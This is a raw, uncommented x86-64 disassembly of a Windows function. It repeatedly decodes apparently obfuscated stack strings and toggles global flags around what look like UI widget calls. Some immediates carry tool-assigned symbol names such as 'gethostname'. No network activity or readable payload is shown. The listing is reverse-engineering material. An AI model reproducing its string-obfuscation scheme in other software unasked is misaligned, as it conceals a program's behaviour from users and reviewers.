call fcn.14004ad70
test al, al
je 0x14006fca1
movzx eax, byte [0x1401a7a67]
test al, al
je 0x14006fc2c
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0x9e8], 0x705e5675
mov dword [rbp + 0x9ec], 0x525155
mov byte [rbp + 0x9f0], 1
lea rcx, [rbp + 0x9e8]
call fcn.140073c40
mov rbx, rax
mov dword [rbp + 0x610], 0x54575c75
mov dword [rbp + 0x614], 0x100444e
lea rcx, [rbp + 0x610]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a67]
test al, al
jne 0x14006fca1
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0x9f8], 0x705e5675
mov dword [rbp + 0x9fc], 0x525155
mov byte [rbp + 0xa00], 1
lea rcx, [rbp + 0x9f8]
call fcn.140073c40
mov rbx, rax
mov dword [rbp + 0x618], 0x54575c75
mov dword [rbp + 0x61c], 0x100444e
lea rcx, [rbp + 0x618]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x468], 0x5e5c586b
mov word [rbp + 0x46c], 0x100
lea rcx, [rbp + 0x468]
call fcn.140073bb0
mov rcx, rax
call fcn.140063e30
movaps xmm1, xmm6
movss xmm0, dword [0x140115d68]
call fcn.140027e20
mov dword [rbp + 0xa08], 0x1b5e5675
mov dword [rbp + 0xa0c], 0x46527e
mov byte [rbp + 0xa10], 1
lea rcx, [rbp + 0xa08]
call fcn.140073c40
mov rcx, rax
lea rdx, [0x1401a7a68]
call fcn.14004ad70
test al, al
je 0x14006fe2a
movzx eax, byte [0x1401a7a68]
test al, al
je 0x14006fdb2
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0x1018], 0x7f5e5675
mov dword [rbp + 0x101c], 0x7d5a5c59
mov dword [rbp + 0x1020], 0x100392f
lea rcx, [rbp + 0x1018]
call fcn.1400745a0
mov rbx, rax
mov dword [rbp + 0x620], 0x54575c75
mov dword [rbp + 0x624], 0x100444e
lea rcx, [rbp + 0x620]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a68]
test al, al
jne 0x14006fe2a
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0x1028], 0x7f5e5675
mov dword [rbp + 0x102c], 0x7d5a5c59
mov dword [rbp + 0x1030], 0x100392f
lea rcx, [rbp + 0x1028]
call fcn.1400745a0
mov rbx, rax
mov dword [rbp + 0x628], 0x54575c75
mov dword [rbp + 0x62c], 0x100444e
lea rcx, [rbp + 0x628]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x470], 0x5e5c586b
mov word [rbp + 0x474], 0x100
lea rcx, [rbp + 0x470]
call fcn.140073bb0
mov rcx, rax
call fcn.140063e30
call fcn.1400514b0
call fcn.1400514b0
mov dword [rbp + 0x1178], 0x1b5e5675
mov dword [rbp + 0x117c], 0x545d5c7e
mov dword [rbp + 0x1180], 0x28212010
mov word [rbp + 0x1184], 0x100
lea rcx, [rbp + 0x1178]
call fcn.140074630
mov rcx, rax
lea rdx, [0x1401a7a69]
call fcn.14004ad70
test al, al
je 0x14006ffc7
movzx eax, byte [0x1401a7a69]
test al, al
je 0x14006ff48
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0x10d8], 0x795e5675
mov dword [rbp + 0x10dc], 0x6f555e5d
mov dword [rbp + 0x10e0], 0x292221
mov byte [rbp + 0x10e4], 1
lea rcx, [rbp + 0x10d8]
call fcn.140074600
mov rbx, rax
mov dword [rbp + 0x630], 0x54575c75
mov dword [rbp + 0x634], 0x100444e
lea rcx, [rbp + 0x630]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a69]
test al, al
jne 0x14006ffc7
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0x10e8], 0x795e5675
mov dword [rbp + 0x10ec], 0x6f555e5d
mov dword [rbp + 0x10f0], 0x292221
mov byte [rbp + 0x10f4], 1
lea rcx, [rbp + 0x10e8]
call fcn.140074600
mov rbx, rax
mov dword [rbp + 0x638], 0x54575c75
mov dword [rbp + 0x63c], 0x100444e
lea rcx, [rbp + 0x638]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x478], 0x5e5c586b
mov word [rbp + 0x47c], 0x100
lea rcx, [rbp + 0x478]
call fcn.140073bb0
mov rcx, rax
call fcn.140063e30
movaps xmm1, xmm6
movaps xmm0, xmm10
call fcn.140027e20
mov dword [rbp + 0x1038], 0x1b5e5675
mov dword [rbp + 0x103c], 0x52525874
mov dword [rbp + 0x1040], 0x1003525
lea rcx, [rbp + 0x1038]
call fcn.1400745a0
mov rcx, rax
lea rdx, [0x1401a7a6a]
call fcn.14004ad70
test al, al
je 0x14007015b
movzx eax, byte [0x1401a7a6a]
test al, al
je 0x1400700dd
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0xde8], 0x735e5675
mov dword [rbp + 0xdec], 0x5a535159
mov word [rbp + 0xdf0], gethostname
mov byte [rbp + 0xdf2], 1
lea rcx, [rbp + 0xde8]
call fcn.140073ca0
mov rbx, rax
mov dword [rbp + 0x640], 0x54575c75
mov dword [rbp + 0x644], 0x100444e
lea rcx, [rbp + 0x640]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a6a]
test al, al
jne 0x14007015b
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0xdf8], 0x735e5675
mov dword [rbp + 0xdfc], 0x5a535159
mov word [rbp + 0xe00], gethostname
mov byte [rbp + 0xe02], 1
lea rcx, [rbp + 0xdf8]
call fcn.140073ca0
mov rbx, rax
mov dword [rbp + 0x648], 0x54575c75
mov dword [rbp + 0x64c], 0x100444e
lea rcx, [rbp + 0x648]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x480], 0x5e5c586b
mov word [rbp + 0x484], 0x100
lea rcx, [rbp + 0x480]
call fcn.140073bb0
mov rcx, rax
call fcn.140063e30
movaps xmm1, xmm6
movss xmm0, dword [0x140115d68]
call fcn.140027e20
mov dword [rbp + 0xa18], 0x1b5e5675
mov dword [rbp + 0xa1c], 0x4c5c7f
mov byte [rbp + 0xa20], 1
lea rcx, [rbp + 0xa18]
call fcn.140073c40
mov rcx, rax
lea rdx, [0x1401a7a6b]
call fcn.14004ad70
test al, al
je 0x1400702cc
movzx eax, byte [0x1401a7a6b]
test al, al
je 0x14007025e
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0x650], 0x785e5675
mov dword [rbp + 0x654], 0x1004f5d
lea rcx, [rbp + 0x650]
call fcn.140073c10
mov rbx, rax
mov dword [rbp + 0x658], 0x54575c75
mov dword [rbp + 0x65c], 0x100444e
lea rcx, [rbp + 0x658]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a6b]
test al, al
jne 0x1400702cc
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0x660], 0x785e5675
mov dword [rbp + 0x664], 0x1004f5d
lea rcx, [rbp + 0x660]
call fcn.140073c10
mov rbx, rax
mov dword [rbp + 0x668], 0x54575c75
mov dword [rbp + 0x66c], 0x100444e
lea rcx, [rbp + 0x668]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x488], 0x5e5c586b
mov word [rbp + 0x48c], 0x100
lea rcx, [rbp + 0x488]
call fcn.140073bb0
mov rcx, rax
call fcn.140063e30
cmp byte [0x1401a7a6c], 0
je 0x140071872
movdqa xmm0, xmmword [0x1401167a0]
movdqu xmmword [rbp + 0x1618], xmm0
mov word [rbp + 0x1628], 0x100
lea rcx, [rbp + 0x1618]
call fcn.140073d00
mov rcx, rax
xor edx, edx
call fcn.14004b760
test al, al
je 0x1400704a9
movdqa xmm0, xmmword [0x140115e40]
movdqu xmmword [rbp + 0x17f0], xmm0
mov byte [rbp + 0x1800], 1
lea rcx, [rbp + 0x17f0]
call fcn.140073cd0
mov rcx, rax
lea rdx, [0x1401a7a75]
call fcn.14004ad70
test al, al
je 0x1400704a9
movzx eax, byte [0x1401a7a75]
test al, al
je 0x140070421
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0x11b8], 0x5e56506b
mov dword [rbp + 0x11bc], 0x50794952
mov dword [rbp + 0x11c0], 0x262b1724
mov word [rbp + 0x11c4], gethostname
mov byte [rbp + 0x11c6], 1
lea rcx, [rbp + 0x11b8]
call fcn.140074660
mov rbx, rax
mov dword [rbp + 0x670], 0x54575c75
mov dword [rbp + 0x674], 0x100444e
lea rcx, [rbp + 0x670]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a75]
test al, al
jne 0x1400704a9
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0x11c8], 0x5e56506b
mov dword [rbp + 0x11cc], 0x50794952
mov dword [rbp + 0x11d0], 0x262b1724
mov word [rbp + 0x11d4], gethostname
mov byte [rbp + 0x11d6], 1
lea rcx, [rbp + 0x11c8]
call fcn.140074660
mov rbx, rax
mov dword [rbp + 0x678], 0x54575c75
mov dword [rbp + 0x67c], 0x100444e
lea rcx, [rbp + 0x678]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
cmp byte [0x1401a7a6c], 0
je 0x140071872
movdqa xmm0, xmmword [str.kPVRI]
movdqu xmmword [rbp + 0x17d8], xmm0
mov byte [rbp + 0x17e8], 1
lea rcx, [rbp + 0x17d8]
call fcn.140073cd0
mov rcx, rax
xor edx, edx
call fcn.14004b760
test al, al
je 0x140070db6
mov dword [rbp + 0x11d8], 0x5e56506b
mov dword [rbp + 0x11dc], 0x7e1e4952
mov dword [rbp + 0x11e0], 0x15622c29
mov word [rbp + 0x11e4], 0x75
mov byte [rbp + 0x11e6], 1
lea rcx, [rbp + 0x11d8]
call fcn.140074660
mov rcx, rax
lea rdx, [0x1401a7a70]
call fcn.14004ad70
test al, al
je 0x140070851
movzx eax, byte [0x1401a7a70]
test al, al
je 0x1400705d5
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0x10f8], 0x5e53556b
mov dword [rbp + 0x10fc], 0x567f4952
mov dword [rbp + 0x1100], 0x73172d
mov byte [rbp + 0x1104], 1
lea rcx, [rbp + 0x10f8]
call fcn.140074600
mov rbx, rax
mov dword [rbp + 0x398], 0x575079
mov byte [rbp + 0x39c], 1
lea rcx, [rbp + 0x398]
call fcn.140073b80
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a70]
test al, al
jne 0x140070851
mov byte [0x1401a7a72], 0
mov byte [0x1401a7a71], 0
mov byte [0x1401a7a73], 0
mov byte [0x1401a7a74], 0
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0x1108], 0x5e53556b
mov dword [rbp + 0x110c], 0x567f4952
mov dword [rbp + 0x1110], 0x73172d
mov byte [rbp + 0x1114], 1
lea rcx, [rbp + 0x1108]
call fcn.140074600
mov rbx, rax
mov dword [rbp + 0x358], 0x575079
mov byte [rbp + 0x35c], 1
lea rcx, [rbp + 0x358]
call fcn.140073b80
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, byte [0x1401a7a72]
mov dword [rbp + 0x1048], 0x5249506e
mov dword [rbp + 0x104c], 0x5652545e
mov dword [rbp + 0x1050], 0x1003834
lea rcx, [rbp + 0x1048]
call fcn.1400745a0
mov rbx, rax
mov dword [rbp + 0x350], 0x575079
mov byte [rbp + 0x354], 1
lea rcx, [rbp + 0x350]
call fcn.140073b80
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, byte [0x1401a7a71]
mov dword [rbp + 0xa28], 0x544e4c79
mov dword [rbp + 0xa2c], 0x53547d
mov byte [rbp + 0xa30], 1
lea rcx, [rbp + 0xa28]
call fcn.140073c40
mov rbx, rax
mov dword [rbp + 0x348], 0x575079
mov byte [rbp + 0x34c], 1
lea rcx, [rbp + 0x348]
call fcn.140073b80
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, byte [0x1401a7a73]
mov dword [rbp + 0xa38], 0x4b53526b
mov dword [rbp + 0xa3c], 0x4a527e
mov byte [rbp + 0xa40], 1
lea rcx, [rbp + 0xa38]
call fcn.140073c40
mov rbx, rax
mov dword [rbp + 0x340], 0x575079
mov byte [rbp + 0x344], 1
lea rcx, [rbp + 0x340]
call fcn.140073b80
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, byte [0x1401a7a74]
mov dword [rbp + 0xe08], 0x4b53526b
mov dword [rbp + 0xe0c], 0x5c515377
mov word [rbp + 0xe10], Ordinal_46
mov byte [rbp + 0xe12], 1
lea rcx, [rbp + 0xe08]
call fcn.140073ca0
mov rbx, rax
mov dword [rbp + 0x338], 0x575079
mov byte [rbp + 0x33c], 1
lea rcx, [rbp + 0x338]
call fcn.140073b80
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
xorps xmm0, xmm0
call fcn.140027e20
mov dword [rbp + 0x490], 0x5049506a
mov word [rbp + 0x494], 0x100
lea rcx, [rbp + 0x490]
call fcn.140073bb0
mov rcx, rax
call fcn.140063e30
cmp byte [0x1401a7a70], 0
je 0x140070db6
movaps xmm1, xmm6
movaps xmm0, xmm10
call fcn.140027e20
mov dword [rbp + 0xef8], 0x5249506e
mov dword [rbp + 0xefc], 0x5652545e
mov dword [rbp + 0xf00], 0x1003834
lea rcx, [rbp + 0xef8]
call fcn.1400745a0
mov rcx, rax
lea rdx, [0x1401a7a72]
call fcn.14004ad70
test al, al
je 0x1400709dc
movzx eax, byte [0x1401a7a72]
test al, al
je 0x140070967
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0xee8], 0x5249506e
mov dword [rbp + 0xeec], 0x5652545e
mov dword [rbp + 0xef0], 0x1003834
lea rcx, [rbp + 0xee8]
call fcn.1400745a0
mov rbx, rax
mov dword [rbp + 0x3a0], 0x575079
mov byte [rbp + 0x3a4], 1
lea rcx, [rbp + 0x3a0]
call fcn.140073b80
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a72]
test al, al
jne 0x1400709dc
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0xed8], 0x5249506e
mov dword [rbp + 0xedc], 0x5652545e
mov dword [rbp + 0xee0], 0x1003834
lea rcx, [rbp + 0xed8]
call fcn.1400745a0
mov rbx, rax
mov dword [rbp + 0x360], 0x575079
mov byte [rbp + 0x364], 1
lea rcx, [rbp + 0x360]
call fcn.140073b80
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
movaps xmm0, xmm15
call fcn.140027e20
mov dword [rbp + 0xb28], 0x544e4c79
mov dword [rbp + 0xb2c], 0x72777c11
mov word [rbp + 0xb30], 0x100
lea rcx, [rbp + 0xb28]
call fcn.140073c70
mov rcx, rax
lea rdx, [0x1401a7a71]
call fcn.14004ad70
test al, al
je 0x140070b21
movzx eax, byte [0x1401a7a71]
test al, al
je 0x140070aaf
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0xa48], 0x544e4c79
mov dword [rbp + 0xa4c], 0x53547d
mov byte [rbp + 0xa50], 1
lea rcx, [rbp + 0xa48]
call fcn.140073c40
mov rbx, rax
mov dword [rbp + 0x390], 0x575079
mov byte [rbp + 0x394], 1
lea rcx, [rbp + 0x390]
call fcn.140073b80
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a71]
test al, al
jne 0x140070b21
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0xa58], 0x544e4c79
mov dword [rbp + 0xa5c], 0x53547d
mov byte [rbp + 0xa60], 1
lea rcx, [rbp + 0xa58]
call fcn.140073c40
mov rbx, rax
mov dword [rbp + 0x368], 0x575079
mov byte [rbp + 0x36c], 1
lea rcx, [rbp + 0x368]
call fcn.140073b80
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
mov dword [rbp + 0xb38], 0x4b53526b
mov dword [rbp + 0xb3c], 0x4b517f1c
mov word [rbp + 0xb40], 0x100
lea rcx, [rbp + 0xb38]
call fcn.140073c70
mov rcx, rax
lea rdx, [0x1401a7a73]
call fcn.14004ad70
test al, al
je 0x140070c5a
movzx eax, byte [0x1401a7a73]
test al, al
je 0x140070be8
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0xa68], 0x4b53526b
mov dword [rbp + 0xa6c], 0x4a527e
mov byte [rbp + 0xa70], 1
lea rcx, [rbp + 0xa68]
call fcn.140073c40
mov rbx, rax
mov dword [rbp + 0x388], 0x575079
mov byte [rbp + 0x38c], 1
lea rcx, [rbp + 0x388]
call fcn.140073b80
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a73]
test al, al
jne 0x140070c5a
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0xa78], 0x4b53526b
mov dword [rbp + 0xa7c], 0x4a527e
mov byte [rbp + 0xa80], 1
lea rcx, [rbp + 0xa78]
call fcn.140073c40
mov rbx, rax
mov dword [rbp + 0x380], 0x575079
mov byte [rbp + 0x384], 1
lea rcx, [rbp + 0x380]
call fcn.140073b80
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
movaps xmm0, xmm10
call fcn.140027e20
mov dword [rbp + 0xec8], 0x4b53526b
mov dword [rbp + 0xecc], 0x5050761c
mov dword [rbp + 0xed0], 0x1002a23
lea rcx, [rbp + 0xec8]
call fcn.1400745a0
mov rcx, rax
lea rdx, [0x1401a7a74]
call fcn.14004ad70
test al, al
je 0x140070db6
movzx eax, byte [0x1401a7a74]
test al, al
je 0x140070d3b
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0xe18], 0x4b53526b
mov dword [rbp + 0xe1c], 0x5c515377
mov word [rbp + 0xe20], Ordinal_46
mov byte [rbp + 0xe22], 1
lea rcx, [rbp + 0xe18]
call fcn.140073ca0
mov rbx, rax
mov dword [rbp + 0x378], 0x575079
mov byte [rbp + 0x37c], 1
lea rcx, [rbp + 0x378]
call fcn.140073b80
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a74]
test al, al
jne 0x140070db6
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0xe28], 0x4b53526b
mov dword [rbp + 0xe2c], 0x5c515377
mov word [rbp + 0xe30], Ordinal_46
mov byte [rbp + 0xe32], 1
lea rcx, [rbp + 0xe28]
call fcn.140073ca0
mov rbx, rax
mov dword [rbp + 0x370], 0x575079
mov byte [rbp + 0x374], 1
lea rcx, [rbp + 0x370]
call fcn.140073b80
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
cmp byte [0x1401a7a6c], 0
je 0x140071872
mov dword [rbp + 0x1168], 0x1b5d567e
mov dword [rbp + 0x116c], 0x4b4a586f
mov dword [rbp + 0x1170], 0x30252f29
mov word [rbp + 0x1174], 0x100
lea rcx, [rbp + 0x1168]
call fcn.140074630
mov rcx, rax
xor edx, edx
call fcn.14004b760
test al, al
je 0x140071872
mov dword [rbp + 0x680], 0x7d175676
mov dword [rbp + 0x684], 0x1005a53
lea rcx, [rbp + 0x680]
call fcn.140073c10
mov rcx, rax
lea rdx, [0x1401a7a5e]
call fcn.14004ad70
test al, al
je 0x140070f3c
movzx eax, byte [0x1401a7a5e]
test al, al
je 0x140070ec8
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0x540], 0x547c5676
mov word [rbp + 0x544], 0x5b
mov byte [rbp + 0x546], 1
lea rcx, [rbp + 0x540]
call fcn.140073be0
mov rbx, rax
mov dword [rbp + 0x688], 0x54575c75
mov dword [rbp + 0x68c], 0x100444e
lea rcx, [rbp + 0x688]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a5e]
test al, al
jne 0x140070f3c
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0x538], 0x547c5676
mov word [rbp + 0x53c], 0x5b
mov byte [rbp + 0x53e], 1
lea rcx, [rbp + 0x538]
call fcn.140073be0
mov rbx, rax
mov dword [rbp + 0x690], 0x54575c75
mov dword [rbp + 0x694], 0x100444e
lea rcx, [rbp + 0x690]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
movaps xmm0, xmm8
call fcn.140027e20
mov dword [rbp + 0x898], 0x165e5c6a
mov dword [rbp + 0x89c], 0x59527a
mov byte [rbp + 0x8a0], 1
lea rcx, [rbp + 0x898]
call fcn.140073c40
mov rcx, rax
lea rdx, [0x1401a7a5f]
call fcn.14004ad70
test al, al
je 0x140071077
movzx eax, byte [0x1401a7a5f]
test al, al
je 0x140071009
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0x698], 0x7d5e5c6a
mov dword [rbp + 0x69c], 0x1005a53
lea rcx, [rbp + 0x698]
call fcn.140073c10
mov rbx, rax
mov dword [rbp + 0x6a0], 0x54575c75
mov dword [rbp + 0x6a4], 0x100444e
lea rcx, [rbp + 0x6a0]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a5f]
test al, al
jne 0x140071077
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0x6a8], 0x7d5e5c6a
mov dword [rbp + 0x6ac], 0x1005a53
lea rcx, [rbp + 0x6a8]
call fcn.140073c10
mov rbx, rax
mov dword [rbp + 0x890], 0x54575c75
mov dword [rbp + 0x894], 0x100444e
lea rcx, [rbp + 0x890]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
mov dword [rbp + 0xb48], 0x555b407b
mov dword [rbp + 0xb4c], 0x58517b11
mov word [rbp + 0xb50], 0x100
lea rcx, [rbp + 0xb48]
call fcn.140073c70
mov rcx, rax
lea rdx, [0x1401a7a60]
call fcn.14004ad70
test al, al
je 0x1400711b6
movzx eax, byte [0x1401a7a60]
test al, al
je 0x140071141
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0x8a8], 0x555b407b
mov dword [rbp + 0x8ac], 0x59527a
mov byte [rbp + 0x8b0], 1
lea rcx, [rbp + 0x8a8]
call fcn.140073c40
mov rbx, rax
mov dword [rbp + 0x6b8], 0x54575c75
mov dword [rbp + 0x6bc], 0x100444e
lea rcx, [rbp + 0x6b8]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a60]
test al, al
jne 0x1400711b6
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0x8b8], 0x555b407b
mov dword [rbp + 0x8bc], 0x59527a
mov byte [rbp + 0x8c0], 1
lea rcx, [rbp + 0x8b8]
call fcn.140073c40
mov rbx, rax
mov dword [rbp + 0x6c0], 0x54575c75
mov dword [rbp + 0x6c4], 0x100444e
lea rcx, [rbp + 0x6c0]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movaps xmm1, xmm6
movaps xmm0, xmm8
call fcn.140027e20
mov dword [rbp + 0xb58], 0x5e4f557a
mov dword [rbp + 0xb5c], 0x58517b11
mov word [rbp + 0xb60], 0x100
lea rcx, [rbp + 0xb58]
call fcn.140073c70
mov rcx, rax
lea rdx, [0x1401a7a61]
call fcn.14004ad70
test al, al
je 0x140071301
movzx eax, byte [0x1401a7a61]
test al, al
je 0x14007128c
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
mov edi, eax
mov dword [rbp + 0x8c8], 0x5e4f557a
mov dword [rbp + 0x8cc], 0x59527a
mov byte [rbp + 0x8d0], 1
lea rcx, [rbp + 0x8c8]
call fcn.140073c40
mov rbx, rax
mov dword [rbp + 0x6c8], 0x54575c75
mov dword [rbp + 0x6cc], 0x100444e
lea rcx, [rbp + 0x6c8]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
movzx eax, byte [0x1401a7a61]
test al, al
jne 0x140071301
lea rsi, [rbp + 0x1c20]
cmp qword [rbp + 0x1c38], 0xf
cmova rsi, qword [rbp + 0x1c20]
movzx edi, al
mov dword [rbp + 0x8d8], 0x5e4f557a
mov dword [rbp + 0x8dc], 0x59527a
mov byte [rbp + 0x8e0], 1
lea rcx, [rbp + 0x8d8]
call fcn.140073c40
mov rbx, rax
mov dword [rbp + 0x6d0], 0x54575c75
mov dword [rbp + 0x6d4], 0x100444e
lea rcx, [rbp + 0x6d0]
call fcn.140073c10
mov r9, rsi
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.140072750
mov dword [rbp + 0xe38], 0x5e5f4b7f
mov dword [rbp + 0xe3c], 0x50781052
